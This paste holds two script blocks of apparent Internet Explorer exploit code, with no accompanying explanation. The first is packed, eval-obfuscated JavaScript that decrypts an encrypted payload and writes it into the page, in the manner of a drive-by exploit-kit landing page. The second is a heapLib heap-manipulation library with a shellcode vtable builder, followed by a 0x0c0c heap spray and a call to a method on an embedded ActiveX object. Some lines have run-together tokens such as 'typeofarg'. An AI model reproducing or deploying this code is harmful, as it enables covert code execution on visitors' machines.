SHARE
TWEET

d3t0n4t0r

a guest Oct 11th, 2012 41 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // content of script tag 1
  2. var ss = new Array(251, 257, 239, 239, 173, 243, 184, 184, 246, 240, 185, 261, 178, 174, 178, 174, 243, 247, 260, 185, 246, 248, 239, 184, 235, 239, 185, 237, 235, 239, 227, 239);
  3. var ckabc = eval;
  4. try {
  5.     alert(a, b, c);
  6. } catch (e) {
  7.     ckabc(function (p, a, c, k, e, d) {
  8.         e = function (c) {
  9.             return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
  10.         };
  11.         if (!''.replace(/^/, String)) {
  12.             while (c--) {
  13.                 d[e(c)] = k[c] || e(c)
  14.             }
  15.             k = [function (e) {
  16.                 return d[e]
  17.             }];
  18.             e = function () {
  19.                 return '\\w+'
  20.             };
  21.             c = 1
  22.         };
  23.         while (c--) {
  24.             if (k[c]) {
  25.                 p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
  26.             }
  27.         }
  28.         return p
  29.     }('g 1C=1x,2i="%31"+"%32"+"%33"+"%34"+"%35"+"%36"+"%37"+"%38"+"%39"+"%63"+"%6b",1B="%64"+"%6f"+"%63"+"%4a"+"%6d"+"%65"+"%6e"+"%2A",2C="6I+6R/6T/6U/6W+6P/6K+6J+6L+6M+6O+6r/5R/5Q/5H+5G/5F+5J+5M/5L/6k+6p+4i+6i+6h/66/5Z/5Y+/67/68/6g+6c+6a+4H+4f/2M/2L/2N//2P+e+c/3j/3b/3e/3f+3g/3a/2Z/2S/2R/2U+2V/2W/2X/2Y+2T+2Q/3h+3i+3c+3d/2G+2H+2I+2O+2K+2J+2F/4h/3R/3S+3T+3U",1E="%3Q"+"%3P"+"%69"+"%2A"+"%65",1U;l o(){};o.r=l(1q,1e){f.1q=(1q?1q:3n);f.1e=(1e?1e:3B);f.S="5X"+"A";K(4+f.S.m*2+2<f.1q){f.S+=f.S};f.1c=1v 1Y();f.1w()};o.r.B.2b=l(1S){1H(1r.3A(1J,1S))};o.r.B.3z=l(2n){j(2n==2q)1H(1r.3y(1J));T 1H(1r.3C(1J))};o.r.B.3D=l(1S){1H(1r.3H(1J))};o.r.B.1y=l(C){j(C>f.S.m)L"3G 1y 1a m "+C+", 3F "+f.S.m+" 3E";E f.S.1I(0,C)};o.r.B.X=l(O,X){j(X==0)L"3x 3w 2m W 0";E 3p((O+(X-1))/X)*X};o.r.B.M=l(O,1l){g 1M="3o";g M=1M.1I(O&1Z,1);K(O>1Z){O=O>>>4;M=1M.1I(O&1Z,1)+M};g 1l=(1l?1l:0);K(M.m<1l)M="0"+M;E M};o.r.B.1u=l(1u){E 1x("%"+"u"+f.M(1u&2y,4)+"%"+"u"+f.M((1u>>16)&2y,4))};o.r.B.1b=l(h,G){g d;j(1f h=="1a"||h 1i H){d=4+h.m*2+2};T{d=h};j((d&1D)!=0)L"1F d "+d+" 1z W a 1A 1m 16";j(f.1c[G]===3l){f.1c[G]=1v 1Y()};j(1f h=="1a"||h 1i H){f.1c[G].2E(h.1I(0,h.m))};T{f.1c[G].2E(f.1y((h-6)/2))}};o.r.B.2a=l(G){3m f.1c[G];2l()};o.r.B.1w=l(){f.2b("3q 2c 2u 2o");f.2a("1h");R(g i=0;i<6;i++){f.1b(32,"1h");f.1b(64,"1h");f.1b(2x,"1h");f.1b(2h,"1h")}};o.r.B.Z=l(h,G){g d;j(1f h=="1a"||h 1i H)d=4+h.m*2+2;T d=h;j(d==32||d==64||d==2x||d==2h)L"1F 3r "+d+" 2m W 3v x 1m 2c 2u 2o";f.1b(h,G)};o.r.B.2e=l(G){f.2a(G);f.1w()};o.r.B.2B=l(){f.2b("3u 2c 3t 3s");2l();f.1w()};o.r.B.2f=l(h,J){g J=(J?J:1);R(g i=0;i<J;i++){f.Z(h);f.Z(h,"2f")};f.Z(h);f.2e("2f")};o.r.B.1k=l(h,J){g d;j(1f h=="1a"||h 1i H){d=4+h.m*2+2};T{d=h};j((d&1D)!=0){L"1F d "+d+" 1z W a 1A 1m 16"};j(d+8>=2D){L("1L 1k 2d d 1K 1O 1Q")};g J=(J?J:1);R(g i=0;i<J;i++){f.Z(h,"1k")};f.2e("1k")};o.r.B.3J=l(h){g d;j(1f h=="1a"||h 1i H){d=4+h.m*2+2};T{d=h};j((d&1D)!=0){L"1F d "+d+" 1z W a 1A 1m 16"};j(d+8>=2D){L("1L 1k 2d d 1K 1O 1Q")};E f.1e+3Z+((d+8)/8)*48};o.r.B.1t=l(1s,2k,d){g d=(d?d:1O);j((d&1D)!=0){L"3Y d "+d+" 1z W a 1A 1m 16"};j(1s.m*2>d-1V){L("1L 1s m 1K "+(d-1V)+" 1Q")};g 1t=1x("%"+"3X"+"4b"+"0"+"%"+"4c"+"b");R(g i=0;i<4g/4;i++){1t+=f.1u(2k)};1t+=1x("%"+"3k"+"4e"+"%"+"4d"+"28")+1s+3W.1y((d-1V)/2-1s.m);E 1t};g 1P=1v o.r(3O);l 2w(D){g x,i,C,c;g 1p,1X;x=[];C=D.m;i=0;K(i<C){c=D.F(i++);3N(c>>4){I 0:I 1:I 2:I 3:I 4:I 5:I 6:I 7:x[x.m]=D.3M(i-1);V;I 12:I 13:1p=D.F(i++);x[x.m]=H.1d(((c&3K)<<6)|(1p&1W));V;I 14:1p=D.F(i++);1X=D.F(i++);x[x.m]=H.1d(((c&3L)<<12)|((1p&1W)<<6)|((1X&1W)<<0));V}}E x.1R(\'\')}g 2v="%63"+"%6b"+"%63"+"%6b";g 1g=1v 1Y(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);1B=1C(1B);l 2t(D){g 1j,Y,N,Q;g i,C,x;C=D.m;i=0;x="";K(i<C){1G{1j=1g[D.F(i++)&P]}K(i<C&&1j==-1);j(1j==-1)V;1G{Y=1g[D.F(i++)&P]}K(i<C&&Y==-1);j(Y==-1)V;x+=H.1d((1j<<2)|((Y&6n)>>4));1G{N=D.F(i++)&P;j(N==61)E x;N=1g[N]}K(i<C&&N==-1);j(N==-1)V;x+=H.1d(((Y&6m)<<4)|((N&6j)>>2));1G{Q=D.F(i++)&P;j(Q==61)E x;Q=1g[Q]}K(i<C&&Q==-1);j(Q==-1)V;x+=H.1d(((N&6l)<<6)|Q)}E x}l 2p(v,w){g 1N=v.m;g 2j=v[1N-1]&1o;R(g i=0;i<1N;i++){v[i]=H.1d(v[i]&P,v[i]>>>8&P,v[i]>>>16&P,v[i]>>>24&P)}j(w){E v.1R(\'\').5K(0,2j)}T{E v.1R(\'\')}}l 2g(s,w){g C=s.m;g v=[];R(g i=0;i<C;i+=4){v[i>>2]=s.F(i)|s.F(i+1)<<8|s.F(i+2)<<16|s.F(i+3)<<24}j(w){v[v.m]=C}E v}1U=1C(2i+2v);l 2z(D,2s){j(D==""){E""}g v=2g(D,2r);g k=2g(2s,2r);g n=v.m-1;g z=v[n-1],y=v[0],1T=5S;g 1n,e,q=1r.5P(6+52/(n+1)),U=q*1T&1o;K(U!=0){e=U>>>2&3;R(g p=n;p>0;p--){z=v[p-1];1n=(z>>>5^y<<2)+(y>>>3^z<<4)^(U^y)+(k[p&3^e]^z);y=v[p]=v[p]-1n&1o}z=v[n];1n=(z>>>5^y<<2)+(y>>>3^z<<4)^(U^y)+(k[p&3^e]^z);y=v[0]=v[0]-1n&1o;U=U-1T&1o}E 2p(v,2q)}1E=1C(1E);t="6H/6x+6w/6v/6s/6t+6u+6z/6A+6F+6G+6E+6D/6C+6X/6B/6V/6Q+6N/6q+5D+5E/4I/4G+4F/4C/4D+4E+4J++4K/4Q/4R+4P+4O/4L/4M+4N+4B/4A/4o/b+"+2C+"+4p/4q/4n/4m/4j+4k+4l/4r+4s+4y/4z/4x/4w/4t/4u+4v/4S/4T/5s+5t/5r+5q/5n+5o/5p+5u+5v+5B/5C/5A/5z+5w/5x+5y+5m/5l/4Z+5a+5b+4Y/4X+4U/4V/4W+5c+5d/5j/5k+5i+5h/5e/5f++5g+6o/6S+6y/5T+5V+5U/5O+5N/5I/5W";t=2w(2z(2t(t),1U));3V[1B][1E](t);1P.2B();R(g z=1;z<3I;z++){1P.Z(2d)}', 62, 432, '|||||||||||||size||this|var|arg||if||function|length||heapLib|||ie||||||out||||prototype|len|str|return|charCodeAt|tag|String|case|count|while|throw|hex|c3|num|0xff|c4|for|paddingStr|else|sum|break|be|round|c2|alloc|||||||||||string|allocOleaut32|mem|fromCharCode|heapBase|typeof|nbChar|oleaut32|instanceof|c1|lookaside|width|of|mx|0xffffffff|char2|maxAlloc|Math|shellcode|vtable|addr|new|flushOleaut32|unescape|padding|must|multiple|X3cQCMIIF|AVgHbu2f|0xf|ErTiUlaxlkP|Allocation|do|void|substr|0xbabe|is|Maximum|digits|vl|1008|heap_obj|bytes|join|msg|delta|BMOYPRD4H|138|0x3F|char3|Array|0xF|||||||||||freeOleaut32|debug|the|block|free|freeList|str2long|32768|GIEMslIELDjE|sl|jmpecx|CollectGarbage|cannot|enable|cache|long2str|true|false|key|nbcode|OLEAUT32|NcTion|utf8to16|256|0xFFFF|nbencode|74|gc|MYKEY|1024|push|cyXYYE7R2YvBJXxmSJFb7hK7ZgHLI4XCWCbO8mo9C239eWUMUonKEs6nMYXGp0Px04BaypWuECmhk|yREjeBQrKp|2f50MYsNjKDnjNQHgCZh3VMQL1rVnT38TEA6qiRVD2Mkvu5qYQ1Nq6uXHMYjMcGdQ1Ey0rYaUnT6ezzP9xptoih|pE1ruZ4FxEA4t14zppc5sLm7LBxf9p6K0DVFvvEuRcn32Kz|4J9LOvxhpKpvAHWAuMILXgrJMMdInRpZjIP5UPdBDcjU86ME7KIA2J4vf5lMJXq|AeZbqRFSDSotSCiJr5RoOiTiruyx141HAy6j3TPVxxpotUjNucEhy|9tMXZjkk4M0ezjAykt52kUW|ldbgXUF2vlPPPR0dqAwoZ8|lzmuFub0IDlFUKliphnuLblDoJRyKNspG0kLWVq1C9RuhTb2jy1jjRM4Sx3vcK6ZN1kiYieJZiXT9glMy20pGQ|P0GhOJIz3a|o4ghkldB|bDCxE3PSbFb4o42d12|HjHlQANLprUyFCPkd|ecOjSWll5pxBnbk9FoI2hlh6AC0HeO9YrSi8QyPeA3gfdA35uEEmerzSGaiYf|UuD4MQpKpgSicJy3WaaW8hC5OxW333DTfdPG3TYx7pK4EWGBOr|mpeH20EGUhkduZ6dkGrXDfjrTbXNfE4fRhAyFxrMhHWaa4uZasxBHMGsnW|tcMOFTvxkUmwppnvTYMPZGgTdjw8nHwM0B7l1iPpzUEd|DweGXjgnClL5TsOr14WG2RHnQRxrf5pdtuLp8E3FCl55JGjlZ0QYvpwi8MP0hPw8H4Pumv5htVrNeFbZi|kguXg19D5EARlcixYCBmZJW4lnK8YoDdIj|SAvQxAxah|LqvuQvP7wbpi|||||||||||vH1aj6zLLS4ebLnW8BWXhbAoXzeeTYxo7puM4kshDJaewi5j7XtJGMUcQXSKctYunWlYi2v56MDNxMUUSFO2IebQGSz5JYjmMMcK1fHDl|VdnTgMSxx|wC5cMhrEaM62m3TpqVdBGy7uTMTIKVPrhB0xc3hvLtwULIpNvrVLaOiJzFsnkNIIL7UENVOtABiQh6USggC7tRkDbfKYMphPspJdqwOi|rFAGDAUo4x7Lss|FhHujX|Fj8GcIezY4Flr6YG8nyNmpGDYfEcYMNPPgPhDE8mAdGXc|svwatS2dVwcwtgTMvzO9EgC|82WUe1TLj|Gn6uvYAkkst4UoHnMPKn8c4MB1wcODxB32fUCT32iP6a56X4Nb|ha3rjwpXVtMbDE7LTa0ns17S6UWci3voUPOruw|u0|undefined|delete|65535|0123456789ABCDEF|parseInt|Flushing|sizes|collector|garbage|Running|flushed|argument|Round|atan|debugHeap|atan2|0x150000|asin|debugBreak|available|only|Requested|acos|0x230|lookasideAddr|0x1F|0x0F|charAt|switch|0x20000|72|77|tvaxF4prij5sQyRXj4w56ZoAFdomrFNYUSNkN49ALYg0qlBIHRT|TktKyMS8anZsniRpENkS|axnAjuQmW6vr7xCF3UWNKwFVibKQm1ooOvh9QY3Hgap9|9tp7fquZGDWfCdIHVESbbotNPPLvL2AwNO5147ZztIJfC0E8BcB2VRAcFqdNTMErpc|window|heap|u9|Vtable|0x688|||||||||||75|09|u7ce|u00|028|XV7S|124|OUwujlgyvzT26gh8wwEhm93rOiwRAW0F46fcMdOldH13zuTqO74EIlY0JLuvbWf5WMzuLK8xoczdmxeSlfpz8AAugqVoMPbrgN0VABA3F3gQwNokFNrIM5SqhcJX6nXdxLlLqohJMUXuZQAJqEPkzi6T5Luj3cgaN|JeuTolhUd|u4UT2zdrXlt8DCMhhibg4pj4Pyq4CwACTfHfmYl7XVnDEwHzxfC2oLbkJxyPgMNVvHY|NyxVZSw07AHp5sJYXYwZx6O9xc5RZfR35IHnT6YPLMT6vCmJvC8qwyv|Fm4QGIYK|qO9UO728Wkm|7O2v06Ogvw|uBCwfptInZ7DUJXIwvSgkaPwcvhdEiHF2t9RbluI3ihyMjHUbOWx3kjduLWc3BNB66gLEfDzof4ZwlWaq4cYhIzl6zhpuRwhA11FJo70FxZ98s|qsYo|mtWjp2BIm737P5nnQ9L|LgiGFJwMdNsPr5|nswcDDLT3U6En8MWkpx|GYK|7L4cT0yp2l8Vs4sRzIAJZ950XBbwmIXusncU6tJdbOXwEzLUavzL5kep0RRRHCKPFiTFI5VP5bUA53Jgrfx0kFjI6q4FpYSRG3AHfhuN3DgbyH6djkZZUJ27GlEAo7IzpKBJyLOHqUcAPKv6VG7XRwr7It4ka0CbI|YGvEhLa8c9W|y7BKLEbm|hSpo8UGst9OHBywvaZvU7X|ovYomXsd8OnsxfmUpxdSFWk0eqqZy0cOEHZ54aG4p60SOA8Hl0dj1c55rsZuRK0RvjLhyWbVya8tSrTFW23lwwLJyncEF04uwDDjHH9HR0x|A0yI6tF91HW0SAZpEAFvcC2JYqLP0qk2XqP0bo5MlvNrRHQ3MDCoq1bV2mg6oCsjwM8H4U0vmXnCYIhI5U1plmj1uWcAHCb4fBn9mgrbJkcaxqyO2zeh3EBiGF1czATLsDFZ0QR6J7yDTAGnzQZcJ2HUXfCx5NiLwf4k3NpAulG82oZ8lNVwzXxQRkA9UFE2kBnPi3dQ6ZxozJob51vz3ZVChBEx4NkYrAfGNyRazQ4HbKf2ESM5dHVANtZYSjmsMdgwHnuhfop0JEwU8SXjtdiMx3R|raXHo0fV2OhXJ5YKeYPP9M6rffDUnzovHQlRe|MmUefi|ZmqoS42c2IWHIzSf|EVjiYPDYcVdUHNOX|teQ4F6kNuZsUvK|LoonZR1xbLlfjumcfCvOFLFBM5hEO0OCTGLD|AFKsVJmI5GTOQtP8UupgPqoPRuIJXc1wojtXGDl49NRA3WOdk7|tLcSWuSuR4xQC7eskeeLQ057oBL3UNi9MURhpRGDZH2GRAOWOwcYb5RU8mJqK7EdTKXj0yMh6Dd6DPJLNqUiw45LTQcuJCjPCDZh3rXC8YBqxVOY8mKlps4bucodsLlOhkWNNwS9FvlZB|Xl5R4WxLzgRsAu80Uu9DbmSjr4QtymGQ0q|3YMYaF7d|wG5B7gd0PBaq3su9kJZOfKiBpcgyr07gaqKvr6GU76PIwFvj9cvoBmJOa0VXJlp678lNznFpvfhSdCssWqXEdmk3w36gwzeQjKSe5TlvaAX|coq1|ageJJ6JzfJoSxp5VzXUp9upcfmq7cBEFBzOG6|T6iFVtvhigznHtIXpbyvx|4VhDNpxG7z9DBZC1b|oAHeEf7rKIT16ZLzwl4XybkCvo|4jV2ZGx0l7cbD6D8QhXin9GoxrWtxDOEQxq|jcxooB5sDGHzqrkglICPGZ8EjJhPCPymGE2eJ8LmvUie3iLF35gqzjn|ir8n03y0wvB622JrsnNMxGneym6g31Lmy2JpoIxm12VHsV117eDG3hw6ReSZvsfnPCsmslI4Im6TTSCc|wHH77tCOYiZMqt|A5YkYj3jqN6hu6t1L64deCgeEWIG2CussyBDC67qcO2ByUuK2uMU5ngKS|one3dg7mj78I|4Sa1Jt0ZI2dcArlPvb9SN6gDdLbZgYsRONBtNpaswDTChKDXIGZhLFJmuSG1GGMtLLBNEqAFL9Dl|rN4IZwINuEcZ|OI5jVXDCgxjm2S0DLnOWH1OzuqJiMb4IU|wtKLROuSbV|||||||||||xa9asHKcwtIw2Mysehcodt6Fi0OHCWfEGIdb|w5fSKjW634Hof5lGXS7JYT7rJhCNdUL5TzT3w3HasXvpPuVcte0phXVF3l1rsoZsMY78VhUnlJC2V7TOvc7CGiCWs|b3SXhMM4o|rcD7EGlb0RM4TSuNWu|CEdIzC2DuzO9LI|d9PUWiKjtJ0m|IGpDSMfUgces3X5v7pyvGJra5sFmLi7gl2cYErkUZT|MdpxYFYsmILnUOOnGsLCE0IZ33|REAAFOs42t3Vd4BxVHZfTdTs0j9y8xZjdNZg5n3M418OLPwfCvAAdenWk9Gg|xAKn0Vt3ZrM504KsULkKd5uCwQvt3AEzwh0fE1jZUJFybZcbR8JoFH97x562TNqwH6Of4PoEKdfGG9n15yP9INTKn6l8ot9jvlBZdFhu6yM|k6L0kDPzpXPQb|5NVOTaNgWXZBd7DPEyRs8n3eJxNaW1coTz6mSg3AuADYwWr4dHXKddvuRsLXC9RtQdhraMbS2|BGdmHAmC3jmv7lROc37Or2fGbXubqLr9WurWZ04IPMhMiPsQcfgmRVVu4zDyi0MIzA96AMrkkFi85tY2USuvMLOpuqtFSZp3DOil4fPiipvjYvJ5qNnzTSogzK|ly5w5aLS5JVXiekmYApFssoIr93nu094IWNO530hyS|gTx00v2ETncrG8mwdXWQgR220QzmdB|QTRVm24wqbgejf2WVrgnjQm8m1SSEhQ5tD1uhNvJe6TOlRCSxcUTvNZFuFmpJibURhHY3ka|HmIMSsFXmUOPRityDaPOXzH9ZUPPIQYGhJLeRhgIjcPIY|aA|P66TNlncoL22vuhepSF|tSneXRPx2JMl1ucYsL9lPKWzBva6GnErriAUX|7Zu6jGWaDr1gMfwZCorZZZZ4H3kf854qpUxOTwW7vEKnjL3wG4k3nPtkB7MB5PJPtgZXSQdJIyehCE8FOLtrYosq4jk1qr3CAe0SM2qnpuIe|Eewz8D12cS8m3DLudtKOPNSYXLMoRJsklKeIVXsWu7e6twINdppgHvD9tCZO|hYha22YiOdj6GfrxkP2LdZ1goxdjs2AesvIMeMkCsxJYplCP0dTd|NQCrL3q580cwAJhBLWLLLqLcJJpfDZ279GW|OpJKFQYn5BqJPI3KUHwZGe7VSh2rkYlyIHqOTvL6EwwFbqI9YxlE24dwyaQz7zCObhiC72wRmZA4Zlr7jjKT9MOWuXLaROZrSZxeS|vwX74tD|8yEtP|COebAMmAfbtH92|Herv6xgXVkBM|iQ5Oryg3EdD9uhyJzlxUyqDgsastWH78AUI0cCCKejvypqWBnqXTQzWWimriTMNR8akoZxbDkEfWC|fj|hWAXh1Zk32NQQ4k6EUtEpjSBmPZ0Pa4nalbsowhkNAr45de6nN4xSi6fLAn0RzQARnFtfQDC|dOxKI1PByUgC23TmqmVGJA5ZE4uJ5sfLsW0sHyA09XcI0eoJOvzUAToStanMh99i1uj7RXYupVGhjGFaCYuYzicuPPfJyRJBlYK0vG7IrRTzRM0plTkGMDht4b0JYAHfRK1ZzbLd9Zgq7UBgTJzcNOcJAyEaEfD6M1uNMR1nzzaYkkYZvsOhmerP4SzYAzieb|fFGXhnT|fr8v|vTRf9djUj03OTL5|substring|ABw3yIsoZtYj|kgAKpJSVaTRPfKVDtieVL1BJSkaygxeV0iAodV1HUXUkBUwmV|nmS8VE8tNSjv8GT|DfpPN8FUZ9hDmt144GVWYpe6pUNaRZZa3HcMGCYK|floor|6hb|WYsJ6rxniLROXZMxTML1gXNFLKIsYS5IUt5e|0x9E3779B9|Xr9ldW1oljVqtn9jTQfuqKayH9z28L8ppyQfCUTQoWh0fnJ04gHtbjsxespDf136nauyecUtM|6sMIcUzAOPYv0p|SLAItlozWFWicgwi|vgJdkzKxwwQRgGWD1LS5Znbs2HivPMLfgHjKzkTUGaetRF2|AAA|N7rijR51vRbOyT1aIGyeXlUrOwG8Uz7A5|hH1i6YrJXx|||||||CaLeKBKxLE6YJigNFNpS0ePV|m0Mp|duvnwByF||pbBEhnl9WyOF1rLXlBzKYWgb||ywvwxNjuBRF0GFVGFog1fT6Pl7TQQAGqAxwBwke38M15Mi||||qGwNVRsTJu5nrphS043MtaeMIosUyWpmBl|WzpcdKtUur|y1lXzHP|0x3C|aKUrJuORpWy3EbQBobN7lrRrzNOHBtCTmSF43Kj72NhJ7F2tWG9BqDUrEnc9w8rV2|0x03|0XF|0x30|OrQhyNOX6v|6UexgLElnRYzWlkBYwcfC3R|6yjJKiG2trcAeLuiBlF8c1YSnLg7Naq482fFUefmxsisEdnzpZt|Qk|dO5W0tPlCSV53Unscc1rFx1wun7x9wc21LkopXM9|hXsoR1ckprVZWm1apuXe3aLMhrgFLOWEhKPeYLb|Qzwdiv3OE49ad5l6S|B1TOA14DteiqlDOW|QPWZ2x9SSksuiupwAM8TvkQeKoSlUgXm8HSSC45xTjFORCFDZrhRqscavM45z87QZiQ|Q9YSRY0WZ|hZiydxNmdZZIwIuTBlJw6TJeluqlV7gusPIFlN6lAu7S6lbqPV5NBD2sS0doTlsrBBJMnVIva3Uas3bDruBG5YnpWoA3|yIqtZi|n7nfVJ7E41bgBtHePOo4t1bou741JtBd6QBUvNSo|tC6zF1N7mCXVOud7HmajEU|8bJYJLf73CI|bts5qLwxPFE04cVUzqjKW9S43s1BR57K7VhnHFbXQ9aiM5PKWSuHeHdNcozSMWQx70i6mwHxcU36P1ZL|trfGV4i6OoeuvwSbMUF9vWKilSFGJgTP|Sd2GxeZhM3SkFgUr7Ib8EYexg5V96rhF57UXXzL|jwA6|2LBy2CCH|TcWd2UaG9CGCX8mGQweoUbVsrJIdo|J9RDGCzT|afMKK8fA1s8jAMYxXeshkgRA|lzzX8Ts7c0bY1Kymw|H8odlD2CRG|3XEa0r|VUn6uhsdJuN9QjWYXwH5I6LM|qrZ9GJwJ7XO4tJYIjjmKF|L4mgAqpROq2slsPYahZopjB3JUKXtB42Tl2EZ4|j9oSW0NR4UgNnU|zDQONwKolWxEM2A|vTDU6P0PhGHF6kH5KCEdIX|UsTLevxYqr30Q7rxortf5r0Usan70FztfK5BuClPTCs5giY7YJXqT|75LylnhNxGG5EUfcA5yKoeI2TN1vlBqL6xWx3OAoREuNwkRCtezWIQJsu83gPNkvKxhZQAb68HruX4YtRWcwHwEIjVFKBgUTjEQIGKGu|859Zu5gYjVnGsm0Lx5kHN|pJrB'.split('|'), 0, {}))
  30. }
  31.  
  32. // content of script tag 2
  33.  
  34.  
  35. function heapLib() {};
  36. heapLib.ie = function (maxAlloc, heapBase) {
  37.     this.maxAlloc = (maxAlloc ? maxAlloc : 65535);
  38.     this.heapBase = (heapBase ? heapBase : 0x150000);
  39.     this.paddingStr = "AA" + "A" + "A";
  40.     while (4 + this.paddingStr.length * 2 + 2 < this.maxAlloc) {
  41.         this.paddingStr += this.paddingStr;
  42.     };
  43.     this.mem = new Array();
  44.     this.flushOleaut32();
  45. };
  46. heapLib.ie.prototype.debug = function (msg) {
  47.     void(Math.atan2(0xbabe, msg));
  48. };
  49. heapLib.ie.prototype.debugHeap = function (enable) {
  50.     if (enable == true) {
  51.         void(Math.atan(0xbabe));
  52.     };
  53.     else {
  54.         void(Math.asin(0xbabe));
  55.     };
  56. };
  57. heapLib.ie.prototype.debugBreak = function (msg) {
  58.     void(Math.acos(0xbabe));
  59. };
  60. heapLib.ie.prototype.padding = function (len) {
  61.     if (len > this.paddingStr.length) {
  62.         throw "Requested padding string length " + len + ", only " + this.paddingStr.length + " available";
  63.     };
  64.     return this.paddingStr.substr(0, len);
  65. };
  66. heapLib.ie.prototype.round = function (num, round) {
  67.     if (round == 0) {
  68.         throw "Round argument cannot be 0";
  69.     };
  70.     return parseInt((num + (round - 1)) / round) * round;
  71. };
  72. heapLib.ie.prototype.hex = function (num, width) {
  73.     var digits = "0123456789ABCDEF";
  74.     var hex = digits.substr(num & 0xF, 1);
  75.     while (num > 0xF) {
  76.         num = num >>> 4;
  77.         hex = digits.substr(num & 0xF, 1) + hex;
  78.     };
  79.     var width = (width ? width : 0);
  80.     while (hex.length < width) {
  81.         hex = "0" + hex;
  82.     };
  83.     return hex;
  84. };
  85. heapLib.ie.prototype.addr = function (addr) {
  86.     return unescape("%" + "u" + this.hex(addr & 0xFFFF, 4) + "%" + "u" + this.hex((addr >> 16) & 0xFFFF, 4));
  87. };
  88. heapLib.ie.prototype.allocOleaut32 = function (arg, tag) {
  89.     var size;
  90.     if (typeofarg == "string" || arginstanceofString) {
  91.         size = 4 + arg.length * 2 + 2;
  92.     };
  93.     else {
  94.         size = arg;
  95.     };
  96.     if ((size & 0xf) != 0) {
  97.         throw "Allocation size " + size + " must be a multiple of 16";
  98.     };
  99.     if (this.mem[tag] === undefined) {
  100.         this.mem[tag] = new Array();
  101.     };
  102.     if (typeofarg == "string" || arginstanceofString) {
  103.         this.mem[tag].push(arg.substr(0, arg.length));
  104.     };
  105.     else {
  106.         this.mem[tag].push(this.padding((arg - 6) / 2));
  107.     };
  108. };
  109. heapLib.ie.prototype.freeOleaut32 = function (tag) {
  110.     delete this.mem[tag];
  111.     CollectGarbage();
  112. };
  113. heapLib.ie.prototype.flushOleaut32 = function () {
  114.     this.debug("Flushing the OLEAUT32 cache");
  115.     this.freeOleaut32("oleaut32");
  116.     for (var i = 0; i < 6; i++) {
  117.         this.allocOleaut32(32, "oleaut32");
  118.         this.allocOleaut32(64, "oleaut32");
  119.         this.allocOleaut32(256, "oleaut32");
  120.         this.allocOleaut32(32768, "oleaut32");
  121.     };
  122. };
  123. heapLib.ie.prototype.alloc = function (arg, tag) {
  124.     var size;
  125.     if (typeof arg == "string" || arg instanceof String) {
  126.         size = 4 + arg.length * 2 + 2;
  127.     };
  128.     else {
  129.         size = arg;
  130.     };
  131.     if (size == 32 || size == 64 || size == 256 || size == 32768) {
  132.         throw "Allocation sizes " + size + " cannot be flushed out of the OLEAUT32 cache";
  133.     };
  134.     this.allocOleaut32(arg, tag);
  135. };
  136. heapLib.ie.prototype.free = function (tag) {
  137.     this.freeOleaut32(tag);
  138.     this.flushOleaut32();
  139. };
  140. heapLib.ie.prototype.gc = function () {
  141.     this.debug("Running the garbage collector");
  142.     CollectGarbage();
  143.     this.flushOleaut32();
  144. };
  145. heapLib.ie.prototype.freeList = function (arg, count) {
  146.     var count = (count ? count : 1);
  147.     for (var i = 0; i < count; i++) {
  148.         this.alloc(arg);
  149.         this.alloc(arg, "freeList");
  150.     };
  151.     this.alloc(arg);
  152.     this.free("freeList");
  153. };
  154. heapLib.ie.prototype.lookaside = function (arg, count) {
  155.     var size;
  156.     if (typeof arg == "string" || arg instanceof String) {
  157.         size = 4 + arg.length * 2 + 2;
  158.     };
  159.     else {
  160.         size = arg;
  161.     };
  162.     if ((size & 0xf) != 0) {
  163.         throw "Allocation size " + size + " must be a multiple of 16";
  164.     };
  165.     if (size + 8 >= 1024) {
  166.         throw ("Maximum lookaside block size is 1008 bytes");
  167.     };
  168.     var count = (count ? count : 1);
  169.     for (var i = 0; i < count; i++) {
  170.         this.alloc(arg, "lookaside");
  171.     };
  172.     this.free("lookaside");
  173. };
  174. heapLib.ie.prototype.lookasideAddr = function (arg) {
  175.     var size;
  176.     if (typeof arg == "string" || arg instanceof String) {
  177.         size = 4 + arg.length * 2 + 2;
  178.     };
  179.     else {
  180.         size = arg;
  181.     };
  182.     if ((size & 0xf) != 0) {
  183.         throw "Allocation size " + size + " must be a multiple of 16";
  184.     };
  185.     if (size + 8 >= 1024) {
  186.         throw ("Maximum lookaside block size is 1008 bytes");
  187.     };
  188.     return this.heapBase + 0x688 + ((size + 8) / 8) * 48;
  189. };
  190. heapLib.ie.prototype.vtable = function (shellcode, jmpecx, size) {
  191.     var size = (size ? size : 1008);
  192.     if ((size & 0xf) != 0) {
  193.         throw "Vtable size " + size + " must be a multiple of 16";
  194.     };
  195.     if (shellcode.length * 2 > size - 138) {
  196.         throw ("Maxim" + "um shel" + "lcode length is " + (size - 138) + " bytes");
  197.     };
  198.     var vtable = unescape("%" + "u9" + "09" + "0" + "%" + "u7" + "ce" + "b");
  199.     for (var i = 0; i < 124 / 4; i++) {
  200.         vtable += this.addr(jmpecx);
  201.     };
  202.     vtable += unescape("%" + "u0" + "028" + "%" + "u002" + "8") + shellcode + heap.padding((size - 138) / 2 - shellcode.length);
  203.     return vtable;
  204. };
  205. var obj = document.getElementById('puZz').object;
  206. var src = unescape("%" + "u0c08" + "%" + "u0c0c");
  207. while (src.length < 0x1002) src += src;
  208. src = "\\\\xxx" + src;
  209. src = src.substr(0, 0x1000 - 10);
  210. var pic = document.createElement("img");
  211. pic.src = src;
  212. pic.nameProp;
  213. obj["definition"](1000);
RAW Paste Data
Pastebin PRO Summer Special!
Get 60% OFF on Pastebin PRO accounts!
Top